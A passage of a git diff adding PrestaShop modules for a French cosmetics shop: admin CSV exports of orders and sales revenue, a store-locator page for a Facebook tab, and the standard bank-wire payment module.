`'._DB_PREFIX_.'orders` + WHERE `valid` = 1 + AND `id_customer` = '.$row['id_customer'].' + AND `date_add` < "'.$row['date_add'].'" + '); + + list($customer_date_add) = explode(' ', $row['customer_date_add']); + list($year, $month) = explode('-', $customer_date_add); + list($invoice_date_add) = explode(' ', $row['invoice_date']); + list($year_invoice, $month_invoice) = explode('-', $invoice_date_add); + $base_data = array( + $row['id_order'], $row['reference'], $isNewCustomer, $row['lastname'], $row['firstname'], + $customer_date_add, $month, $year, + $invoice_date_add, $month_invoice, $year_invoice, $row['email'], + ($row['newsletter']) ? 'O' : 'N', $row['payment'], $row['carrier_name'], $row['postcode'], $row['city'], $row['country_name'] + ); + foreach ($products as $product) { + $data = $base_data; + $data[] = $product['reference']; + $data[] = Db::getInstance()->getValue('SELECT `name` FROM `ps_product_lang` WHERE `id_product` = '.(int)$product['id_product'].' AND `id_lang` = '.$id_lang); + $data[] = Db::getInstance()->getValue(' + SELECT cl.`name` + FROM `'._DB_PREFIX_.'category_product` cp + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (cl.`id_lang` = '.(int)$id_lang.' AND cl.`id_category` = cp.`id_category`) + WHERE cl.`name` LIKE "Gamme %" AND cp.`id_product` = '.(int)$product['id_product'].' + '); + $data[] = Db::getInstance()->getValue('SELECT `name` FROM `ps_category_lang` WHERE `id_category` = '.(int)$product['id_category_default']);; + $data[] = $product['product_quantity']; + $data[] = $product['price']; + fputcsv($fp, $data, ';'); + } + + } + fclose($fp); + $this->export = '5'; + } + elseif (Tools::isSubmit('submitExportSalesRevenue')) { + $date_from = Tools::getValue('date_from'); + $date_to = Tools::getValue('date_to'); + $date_start = DateTime::createFromFormat('d/m/Y', $date_from); + $date_end = DateTime::createFromFormat('d/m/Y', $date_to); + $data = array(); + + $fp = fopen("export_diff_ca.csv", "w"); + + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + $header = array('Effectif', '', '', '', '', 'N-1', '', '', '', '', 'evol % / €', '', '', '', ''); + fputcsv($fp, $header, ";"); + + $header = array('TOTAL CA HT', 'Nombre Commandes', 'Nombre Paniers non validés', 'Nombre Produits vendus (hors offerts)', 'Panier moyen HT', 'TOTAL CA HT', 'Nombre Commandes', 'Nombre Paniers non validés', 'Nombre Produits vendus (hors offerts)', 'Panier moyen HT', 'TOTAL CA HT', 'Nombre Commandes', 'Nombre Paniers non validés', 'Nombre Produits vendus (hors offerts)', 'Panier moyen HT'); + + fputcsv($fp, $header, ";"); + + $sql = ' + SELECT SUM(o.`total_paid_tax_excl` - o.`total_shipping_tax_excl`) as `ca`, + SUM(o.`total_paid_tax_excl`) / COUNT(o.`id_order`) as `avg`, + COUNT(o.`id_order`) as nb_order, + COUNT(o.`id_order`) - SUM(o.`valid`) as nb_not_valid + FROM `'._DB_PREFIX_.'orders` o + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + '; + $today = Db::getInstance()->ExecuteS($sql)[0]; + $today['product_quantity'] = Db::getInstance()->getValue(' SELECT + SUM(od.`product_quantity`) + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.id_order = od.id_order) + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + AND od.product_price != 0'); + $data[] = $today['ca']; + $data[] = $today['nb_order']; + $data[] = $today['nb_not_valid']; + $data[] = $today['product_quantity']; + $data[] = $today['avg']; + + $date_start = $date_start->modify('-1 year'); + $date_end = $date_end->modify('-1 year'); + $sql = ' + SELECT SUM(o.`total_paid_tax_excl` - o.`total_shipping_tax_excl`) as `ca`, + SUM(o.`total_paid_tax_excl`) / COUNT(o.`id_order`) as `avg`, + COUNT(o.`id_order`) as nb_order, + COUNT(o.`id_order`) - SUM(o.`valid`) as nb_not_valid + FROM `'._DB_PREFIX_.'orders` o + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + '; + $last_year = Db::getInstance()->ExecuteS($sql)[0]; + $last_year['product_quantity'] = Db::getInstance()->getValue(' SELECT + SUM(od.`product_quantity`) + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.id_order = od.id_order) + WHERE o.`date_add` BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" AND "'.$date_end->format('Y-m-d').' 23:59:59" + AND od.product_price != 0'); + $data[] = $last_year['ca']; + $data[] = $last_year['nb_order']; + $data[] = $last_year['nb_not_valid']; + $data[] = $last_year['product_quantity']; + $data[] = $last_year['avg']; + + $diff = array(); + $diff['ca'] = round(($today['ca'] - $last_year['ca']), 2).'€ soit '.round(((($today['ca'] - $last_year['ca']) / $last_year['ca']) * 100), 2).'%'; + $diff['avg'] = round(($today['avg'] - $last_year['avg']), 2).'€ soit '.round(((($today['avg'] - $last_year['avg']) / $last_year['avg']) * 100), 2).'%'; + $diff['nb_order'] = $today['nb_order'] - $last_year['nb_order']; + $diff['nb_not_valid'] = $today['nb_not_valid'] - $last_year['nb_not_valid']; + $diff['product_quantity'] = $today['product_quantity'] - $last_year['product_quantity']; + $data[] = $diff['ca']; + $data[] = $diff['nb_order']; + $data[] = $diff['nb_not_valid']; + $data[] = $diff['product_quantity']; + $data[] = $diff['avg']; + + fputcsv($fp, $data, ';'); + fclose($fp); + $this->export = '6'; + + } + parent::initContent(); + } + + /* + * Renvoi le nom d'un produit à partir de son ID + */ + public static function getProductName($id_product) + { + $lang = Context::getContext()->language->id; + $sql = "SELECT `name` + FROM `"._DB_PREFIX_."product_lang` pl + WHERE pl.id_product=".(int)$id_product." AND pl.id_lang=".(int)$lang; + $return = Db::getInstance()->executeS($sql); + if (isset($return[0])) + return $return[0]["name"]; + } + + public static function getQuantitybyCountry($id_product ,$id_country, $date_start, $date_end, $exlude = false){ + + if ($exlude) { + $sql ="SELECT SUM(product_quantity) as quantity + FROM `ps_order_detail` d + LEFT JOIN `ps_orders` o ON o.id_order = d.id_order + LEFT JOIN `ps_address` a ON a.id_address = o.id_address_delivery + WHERE o.`date_add` BETWEEN \"". $date_start->format('Y-m-d') ." 00:00:00\" AND \"" .$date_end->format('Y-m-d') . " 23:59:59\" + AND a.id_country != ". (int)$id_country ." + AND product_id = ". (int)$id_product; + } else { + $sql ="SELECT SUM(product_quantity) as quantity + FROM `ps_order_detail` d + LEFT JOIN `ps_orders` o ON o.id_order = d.id_order + LEFT JOIN `ps_address` a ON a.id_address = o.id_address_delivery + WHERE o.`date_add` BETWEEN \"". $date_start->format('Y-m-d') ." 00:00:00\" AND \"" .$date_end->format('Y-m-d') . " 23:59:59\" + AND a.id_country = ". (int)$id_country ." + AND product_id = ". (int)$id_product; + } + + return Db::getInstance()->getValue($sql); + } + + public static function getCAByProduct($id_product, $date_start, $date_end) + { + // get total of orders where product is present between defined dates + $sql = 'SELECT SUM(total_paid_real) FROM '._DB_PREFIX_.'order_detail od + LEFT JOIN '._DB_PREFIX_.'orders o ON o.id_order = od.id_order + WHERE od.product_id = '.(int)$id_product.' + AND o.date_add BETWEEN "'.$date_start->format('Y-m-d').' 00:00:00" + AND "'.$date_end->format('Y-m-d').' 23:59:59"'; + $res = Db::getInstance()->getValue($sql); + return ($res) ? $res : 0; + } +} \ No newline at end of file diff --git a/modules/antadis_export/index.php b/modules/antadis_export/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/antadis_export/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/antadis_export/logo.gif b/modules/antadis_export/logo.gif new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/modules/antadis_export/logo.gif differ diff --git a/modules/antadis_export/logo.png b/modules/antadis_export/logo.png new file mode 100755 index 0000000..c6b7e8c Binary files /dev/null and b/modules/antadis_export/logo.png differ diff --git a/modules/antadis_export/views/templates/admin/antadis_export/export.tpl b/modules/antadis_export/views/templates/admin/antadis_export/export.tpl new file mode 100755 index 0000000..2069951 --- /dev/null +++ b/modules/antadis_export/views/templates/admin/antadis_export/export.tpl @@ -0,0 +1,178 @@ +

    {l s='Export des commandes'}

    + + +{if $export == 1} +
    + Export réussi : Télécharger +
    +{/if} +{if $export == 2} +
    + Export réussi : Télécharger +
    +{/if} +{if $export == 3} +
    + Export réussi : Télécharger +
    +{/if} +{if $export == 4} +
    + Export réussi : Télécharger +
    +{/if} +{if $export == 5} +
    + Export réussi : Télécharger +
    +{/if} +{if $export == 6} +
    + Export réussi : Télécharger +
    +{/if} +
    +
    + {l s='Extract 1'} + +

    1 : Nom du client
    2 : frais de livraison
    3 : pays
    4 : TVA
    5 : TTC
    6 : HT Total produits
    7 : Réduction TTC

    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    + {l s='Extract 2'} + +

    1 : Nom du produit
    2 : Quantité France
    3 : Quantité Belgique
    4 : Quantite Italie
    5 : Quantité totale vendue

    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    + {l s='Extract 3'} + +

    1 : Emails commentaires

    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    + {l s='Extract 4 (bon de réduction)'} + +

    1 : Nom du bon de réduction
    2 : CA Généré
    3 : Nombre d'utilisation

    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    + {l s='Extract 5 (global)'} + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + +
    + +
    +
    + {l s='Extract 6 (Comparaison CA)'} + +

    1 : CA Total
    2 : Panier Moyen
    3 : Nombre de commandes
    4 : Nombre de paniers non validés
    5 : Nombre de Produits vendus

    + + +
    + +
    + + +
    + +
    + +
    + +
    +
    +
    + + \ No newline at end of file diff --git a/modules/antadis_iframefacebook/antadis_iframefacebook.php b/modules/antadis_iframefacebook/antadis_iframefacebook.php new file mode 100644 index 0000000..0e2343d --- /dev/null +++ b/modules/antadis_iframefacebook/antadis_iframefacebook.php @@ -0,0 +1,101 @@ + array( + 'controller' => 'stores', + 'rule' => 'the-stores', + 'keywords' =>array( + 'fc' => array(), + 'module' => array(), + 'controller' => array(), + ), + 'params' => array( + 'fc' => 'module', + 'module' => 'antadis_iframefacebook', + 'controller' => 'stores', + ) + ), + ); + + + public function __construct() + { + $this->name = 'antadis_iframefacebook'; + $this->tab = 'advertising_marketing'; + $this->version = '1.0'; + $this->author = 'Antadis'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Page pour Iframe facebook'); + $this->description = $this->l('Page Magasin pour onglet facebook'); + $this->confirmUninstall = $this->l('Etes vous sur de vouloir désinstaller ce module ?'); + } + + public function install() + { + if (!parent::install() || !$this->installDb()){ + return false; + } + return true; + } + + public function installDb() + { + $prefix = _DB_PREFIX_ ; + $engine = _MYSQL_ENGINE_; + + $statements = array(); + /*$statements[] = sprintf('CREATE TABLE IF NOT EXISTS `%` ( + `` int(11) NOT NULL AUTO_INCREMENT, + `` int(11), + PRIMARY KEY (``) + ) ENGINE=%s DEFAULT CHARSET=utf8 ;', $prefix, $engine);*/ + $this->registerHook('moduleRoutes'); + + return $this->uninstallDb() && $this->updateDb($statements); + } + + public function updateDb($statements) + { + foreach($statements as $statement){ + if( !Db::getInstance()->execute($statement)){ + return false; + } + } + return true; + } + + public function uninstallDb() + { + $prefix = _DB_PREFIX_ ; + $statements = array(); + + /* $statements[] = sprintf('DROP TABLE IF EXISTS `%`;', $prefix );*/ + $this->updateDb($statements); + + return $this->updateDb($statements); + } + + public function uninstall() + { + if(!parent::uninstall() || !$this->uninstallDb()){ + return false; + } + return true; + } + + public function hookModuleRoutes($ModuleRoutes) + { + $ModuleRoutes = self::$ModuleRoutes; + $url = $this->l('the-stores'); + $ModuleRoutes['module-antadis_iframefacebook-stores']['rule'] = $url; + return $ModuleRoutes; + } +} \ No newline at end of file diff --git a/modules/antadis_iframefacebook/controllers/front/stores.php b/modules/antadis_iframefacebook/controllers/front/stores.php new file mode 100644 index 0000000..d8b4fb2 --- /dev/null +++ b/modules/antadis_iframefacebook/controllers/front/stores.php @@ -0,0 +1,248 @@ +iso_code) && strlen($state->iso_code)) ? + $store[$field_item].', '.$state->iso_code : $store[$field_item]; + $data_fields_mod = true; + } + } + if ($data_fields_mod) + $out_datas[] = implode(' ', $addr_out); + } + + $out = implode('
    ', $out_datas); + return $out; + } + + /** + * Assign template vars for simplified stores + */ + protected function assignStoresSimplified() + { + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id); + + foreach ($stores as &$store) + { + $store['has_picture'] = file_exists(_PS_STORE_IMG_DIR_.(int)($store['id_store']).'.jpg'); + if ($working_hours = $this->renderStoreWorkingHours($store)) + $store['working_hours'] = $working_hours; + } + + $this->context->smarty->assign(array( + 'simplifiedStoresDiplay' => true, + 'stores' => $stores + )); + } + + public function renderStoreWorkingHours($store) + { + global $smarty; + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + $days_datas = array(); + $hours = array_filter(unserialize($store['hours'])); + if (!empty($hours)) + { + for ($i = 1; $i < 8; $i++) + { + if (isset($hours[(int)($i) - 1])) + { + $hours_datas = array(); + $hours_datas['hours'] = $hours[(int)($i) - 1]; + $hours_datas['day'] = $days[$i]; + $days_datas[] = $hours_datas; + } + } + $smarty->assign('days_datas', $days_datas); + $smarty->assign('id_country', $store['id_country']); + return $this->context->smarty->fetch(_PS_THEME_DIR_.'store_infos.tpl'); + } + return false; + } + + public function getStores() + { + $distanceUnit = Configuration::get('PS_DISTANCE_UNIT'); + if (!in_array($distanceUnit, array('km', 'mi'))) + $distanceUnit = 'km'; + + if (Tools::getValue('all') == 1) + { + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id); + } + else + { + $distance = (int)(Tools::getValue('radius', 100)); + $multiplicator = ($distanceUnit == 'km' ? 6371 : 3959); + + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state, + ('.(int)($multiplicator).' + * acos( + cos(radians('.(float)(Tools::getValue('latitude')).')) + * cos(radians(latitude)) + * cos(radians(longitude) - radians('.(float)(Tools::getValue('longitude')).')) + + sin(radians('.(float)(Tools::getValue('latitude')).')) + * sin(radians(latitude)) + ) + ) distance, + cl.id_country id_country + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id.' + HAVING distance < '.(int)($distance).' + ORDER BY distance ASC + LIMIT 0,20'); + } + + return $stores; + } + + /** + * Assign template vars for classical stores + */ + protected function assignStores() + { + $this->context->smarty->assign('hasStoreIcon', file_exists(_PS_IMG_DIR_.Configuration::get('PS_STORES_ICON'))); + + $distanceUnit = Configuration::get('PS_DISTANCE_UNIT'); + if (!in_array($distanceUnit, array('km', 'mi'))) + $distanceUnit = 'km'; + + $this->context->smarty->assign(array( + 'distance_unit' => $distanceUnit, + 'simplifiedStoresDiplay' => false, + 'stores' => $this->getStores() + )); + } + + /** + * Display the Xml for showing the nodes in the google map + */ + protected function displayAjax() + { + $stores = $this->getStores(); + $dom = new DOMDocument('1.0'); + $node = $dom->createElement('markers'); + $parnode = $dom->appendChild($node); + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + foreach ($stores as $store) + { + $other = ''; + $node = $dom->createElement('marker'); + $newnode = $parnode->appendChild($node); + $newnode->setAttribute('name', $store['name']); + $newnode->setAttribute('note', $store['note']); + $address = $this->processStoreAddress($store); + + $other .= $this->renderStoreWorkingHours($store); + $newnode->setAttribute('addressNoHtml', strip_tags(str_replace('
    ', ' ', $address))); + $newnode->setAttribute('address', $address); + $newnode->setAttribute('other', $other); + $newnode->setAttribute('phone', $store['phone']); + $newnode->setAttribute('id_store', (int)($store['id_store'])); + $newnode->setAttribute('has_store_picture', file_exists(_PS_STORE_IMG_DIR_.(int)($store['id_store']).'.jpg')); + $newnode->setAttribute('lat', (float)($store['latitude'])); + $newnode->setAttribute('lng', (float)($store['longitude'])); + if (isset($store['distance'])) + $newnode->setAttribute('distance', (int)($store['distance'])); + } + + header('Content-type: text/xml'); + die($dom->saveXML()); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + //parent::initContent(); + + if (Configuration::get('PS_STORES_SIMPLIFIED')) + $this->assignStoresSimplified(); + else + $this->assignStores(); + + $this->context->smarty->assign(array( + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'defaultLat' => (float)Configuration::get('PS_STORES_CENTER_LAT'), + 'defaultLong' => (float)Configuration::get('PS_STORES_CENTER_LONG'), + 'searchUrl' => $this->context->link->getPageLink('stores'), + 'logo_store' => Configuration::get('PS_STORES_ICON') + )); + + $this->setTemplate('stores.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'stores.css'); + $this->addCSS(_THEME_CSS_DIR_.'modules/antadis_iframefacebook/stores.css'); + if (!Configuration::get('PS_STORES_SIMPLIFIED')) + $this->addJS(_THEME_JS_DIR_.'stores.js'); + $default_country = new Country((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $this->addJS('https://maps.google.com/maps/api/js?sensor=true&region='.substr($default_country->iso_code, 0, 2)); + } +} \ No newline at end of file diff --git a/modules/antadis_iframefacebook/stores.css b/modules/antadis_iframefacebook/stores.css new file mode 100644 index 0000000..2fc3953 --- /dev/null +++ b/modules/antadis_iframefacebook/stores.css @@ -0,0 +1,50 @@ +.iframe-facebook { + width: 520px; + margin:0 auto; +} +.iframe-facebook.borderGreen { + padding: 16px 20px 20px; + border-top: 7px solid #b9da1a; + background: #FFF; +} +.iframe-facebook.borderGreen h1 { + margin: 30px 0; + color: #000; + font-size: 30px; + border-bottom: 1px solid #000; + padding: 0 0 30px; + line-height: 30px; +} +.iframe-facebook.borderGreen h1 span .g { + color: #BFDA3F!important; +} +.locationInputs { + width: 520px; +} +.iframe-facebook input#addressInput { + border: 0; + height: 33px; + margin-top: 2px; + width: 480px; + padding: 1px 10px 0; + background:#fff; + border: #000; + float: left; + border: 1px solid #999; + box-sizing: border-box; +} +#map2 { + width: 520px; + height: 520px; +} +.stores { + margin-top: 10px;; +} +.storestable, .storestable table { + width:520px; +} +.storestable table tr { + float: left; + width: calc(50% - 5px); + margin-right: 5px;; +} diff --git a/modules/antadis_iframefacebook/views/templates/front/stores.tpl b/modules/antadis_iframefacebook/views/templates/front/stores.tpl new file mode 100644 index 0000000..c1ceed4 --- /dev/null +++ b/modules/antadis_iframefacebook/views/templates/front/stores.tpl @@ -0,0 +1,80 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{capture name=path}{l s='Où nous trouver' mod='antadis_iframefacebook'}{/capture} +
    +

    [{l s='Trouver un point de vente du laboratoire Garancia' mod='antadis_iframefacebook'}]

    + + +
    +
    +
    +
    +
    +
    +

    {l s='Pour vos recherches hors France métropolitaine, merci d’indiquer une ville et un code postal' mod='antadis_iframefacebook'}

    +

    + + +

    +
    +
    + + + +
    + +
    + +
    \ No newline at end of file diff --git a/modules/bankwire/bankwire.jpg b/modules/bankwire/bankwire.jpg new file mode 100755 index 0000000..8d11f39 Binary files /dev/null and b/modules/bankwire/bankwire.jpg differ diff --git a/modules/bankwire/bankwire.php b/modules/bankwire/bankwire.php new file mode 100755 index 0000000..31fa26a --- /dev/null +++ b/modules/bankwire/bankwire.php @@ -0,0 +1,227 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BankWire extends PaymentModule +{ + private $_html = ''; + private $_postErrors = array(); + + public $details; + public $owner; + public $address; + public $extra_mail_vars; + public function __construct() + { + $this->name = 'bankwire'; + $this->tab = 'payments_gateways'; + $this->version = '0.5'; + $this->author = 'PrestaShop'; + + $this->currencies = true; + $this->currencies_mode = 'checkbox'; + + $config = Configuration::getMultiple(array('BANK_WIRE_DETAILS', 'BANK_WIRE_OWNER', 'BANK_WIRE_ADDRESS')); + if (isset($config['BANK_WIRE_OWNER'])) + $this->owner = $config['BANK_WIRE_OWNER']; + if (isset($config['BANK_WIRE_DETAILS'])) + $this->details = $config['BANK_WIRE_DETAILS']; + if (isset($config['BANK_WIRE_ADDRESS'])) + $this->address = $config['BANK_WIRE_ADDRESS']; + + parent::__construct(); + + $this->displayName = $this->l('Bank Wire'); + $this->description = $this->l('Accept payments for your products via bank wire.'); + $this->confirmUninstall = $this->l('Are you sure about removing these details?'); + if (!isset($this->owner) || !isset($this->details) || !isset($this->address)) + $this->warning = $this->l('Account owner and account details must be configured before using this module.'); + if (!count(Currency::checkPaymentCurrencies($this->id))) + $this->warning = $this->l('No currency has been set for this module.'); + + $this->extra_mail_vars = array( + '{bankwire_owner}' => Configuration::get('BANK_WIRE_OWNER'), + '{bankwire_details}' => nl2br(Configuration::get('BANK_WIRE_DETAILS')), + '{bankwire_address}' => nl2br(Configuration::get('BANK_WIRE_ADDRESS')) + ); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('payment') || !$this->registerHook('paymentReturn')) + return false; + return true; + } + + public function uninstall() + { + if (!Configuration::deleteByName('BANK_WIRE_DETAILS') + || !Configuration::deleteByName('BANK_WIRE_OWNER') + || !Configuration::deleteByName('BANK_WIRE_ADDRESS') + || !parent::uninstall()) + return false; + return true; + } + + private function _postValidation() + { + if (Tools::isSubmit('btnSubmit')) + { + if (!Tools::getValue('details')) + $this->_postErrors[] = $this->l('Account details are required.'); + elseif (!Tools::getValue('owner')) + $this->_postErrors[] = $this->l('Account owner is required.'); + } + } + + private function _postProcess() + { + if (Tools::isSubmit('btnSubmit')) + { + Configuration::updateValue('BANK_WIRE_DETAILS', Tools::getValue('details')); + Configuration::updateValue('BANK_WIRE_OWNER', Tools::getValue('owner')); + Configuration::updateValue('BANK_WIRE_ADDRESS', Tools::getValue('address')); + } + $this->_html .= '
    '.$this->l('Settings updated').'
    '; + } + + private function _displayBankWire() + { + $this->_html .= ''.$this->l('This module allows you to accept secure payments by bank wire.').'

    + '.$this->l('If the client chooses to pay by bank wire, the order\'s status will change to "Waiting for Payment."').'
    + '.$this->l('That said, you must manually confirm the order upon receiving the bank wire. ').'


    '; + } + + private function _displayForm() + { + $this->_html .= + '
    +
    + '.$this->l('Contact details').' + + + + + + + + + + + + +
    '.$this->l('Please specify the bank wire account details for customers.').'.

    '.$this->l('Account owner').'
    '.$this->l('Details').' + +

    '.$this->l('Such as bank branch, IBAN number, BIC, etc...').'

    +
    '.$this->l('Bank address').' + +
    +
    +
    '; + } + + public function getContent() + { + $this->_html = '

    '.$this->displayName.'

    '; + + if (Tools::isSubmit('btnSubmit')) + { + $this->_postValidation(); + if (!count($this->_postErrors)) + $this->_postProcess(); + else + foreach ($this->_postErrors as $err) + $this->_html .= '
    '.$err.'
    '; + } + else + $this->_html .= '
    '; + + $this->_displayBankWire(); + $this->_displayForm(); + + return $this->_html; + } + + public function hookPayment($params) + { + if (!$this->active) + return; + if (!$this->checkCurrency($params['cart'])) + return; + + + $this->smarty->assign(array( + 'this_path' => $this->_path, + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->name.'/' + )); + return $this->display(__FILE__, 'payment.tpl'); + } + + public function hookPaymentReturn($params) + { + if (!$this->active) + return; + + $state = $params['objOrder']->getCurrentState(); + if ($state == Configuration::get('PS_OS_BANKWIRE') || $state == Configuration::get('PS_OS_OUTOFSTOCK')) + { + + /* Remarketing Google conversion */ + $gm_orderProducts_tax_excl = $params['objOrder']->getTotalProductsWithoutTaxes(); + + $this->smarty->assign(array('gm_order_total_tax_excl' => $gm_orderProducts_tax_excl)); + /* End remarketing */ + + $this->smarty->assign(array( + 'total_to_pay' => Tools::displayPrice($params['total_to_pay'], $params['currencyObj'], false), + 'bankwireDetails' => Tools::nl2br($this->details), + 'bankwireAddress' => Tools::nl2br($this->address), + 'bankwireOwner' => $this->owner, + 'status' => 'ok', + 'id_order' => $params['objOrder']->id + )); + if (isset($params['objOrder']->reference) && !empty($params['objOrder']->reference)) + $this->smarty->assign('reference', $params['objOrder']->reference); + } + else + $this->smarty->assign('status', 'failed'); + return $this->display(__FILE__, 'payment_return.tpl'); + } + + public function checkCurrency($cart) + { + $currency_order = new Currency($cart->id_currency); + $currencies_module = $this->getCurrency($cart->id_currency); + + if (is_array($currencies_module)) + foreach ($currencies_module as $currency_module) + if ($currency_order->id == $currency_module['id_currency']) + return true; + return false; + } +} diff --git a/modules/bankwire/controllers/front/index.php b/modules/bankwire/controllers/front/index.php new file mode 100755 index 0000000..3f4b16e --- /dev/null +++ b/modules/bankwire/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../'); +exit; \ No newline at end of file diff --git a/modules/bankwire/controllers/front/payment.php b/modules/bankwire/controllers/front/payment.php new file mode 100755 index 0000000..da5001c --- /dev/null +++ b/modules/bankwire/controllers/front/payment.php @@ -0,0 +1,57 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class BankwirePaymentModuleFrontController extends ModuleFrontController +{ + public $ssl = true; + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + $this->display_column_left = false; + parent::initContent(); + + $cart = $this->context->cart; + if (!$this->module->checkCurrency($cart)) + Tools::redirect('index.php?controller=order'); + + $this->context->smarty->assign(array( + 'nbProducts' => $cart->nbProducts(), + 'cust_currency' => $cart->id_currency, + 'currencies' => $this->module->getCurrency((int)$cart->id_currency), + 'total' => $cart->getOrderTotal(true, Cart::BOTH), + 'this_path' => $this->module->getPathUri(), + 'this_path_ssl' => Tools::getShopDomainSsl(true, true).__PS_BASE_URI__.'modules/'.$this->module->name.'/' + )); + + $this->setTemplate('payment_execution.tpl'); + } +} diff --git a/modules/bankwire/controllers/front/validation.php b/modules/bankwire/controllers/front/validation.php new file mode 100755 index 0000000..6cbaa4f --- /dev/null +++ b/modules/bankwire/controllers/front/validation.php @@ -0,0 +1,67 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class BankwireValidationModuleFrontController extends ModuleFrontController +{ + /** + * @see FrontController::postProcess() + */ + public function postProcess() + { + $cart = $this->context->cart; + if ($cart->id_customer == 0 || $cart->id_address_delivery == 0 || $cart->id_address_invoice == 0 || !$this->module->active) + Tools::redirect('index.php?controller=order&step=1'); + + // Check that this payment option is still available in case the customer changed his address just before the end of the checkout process + $authorized = false; + foreach (Module::getPaymentModules() as $module) + if ($module['name'] == 'bankwire') + { + $authorized = true; + 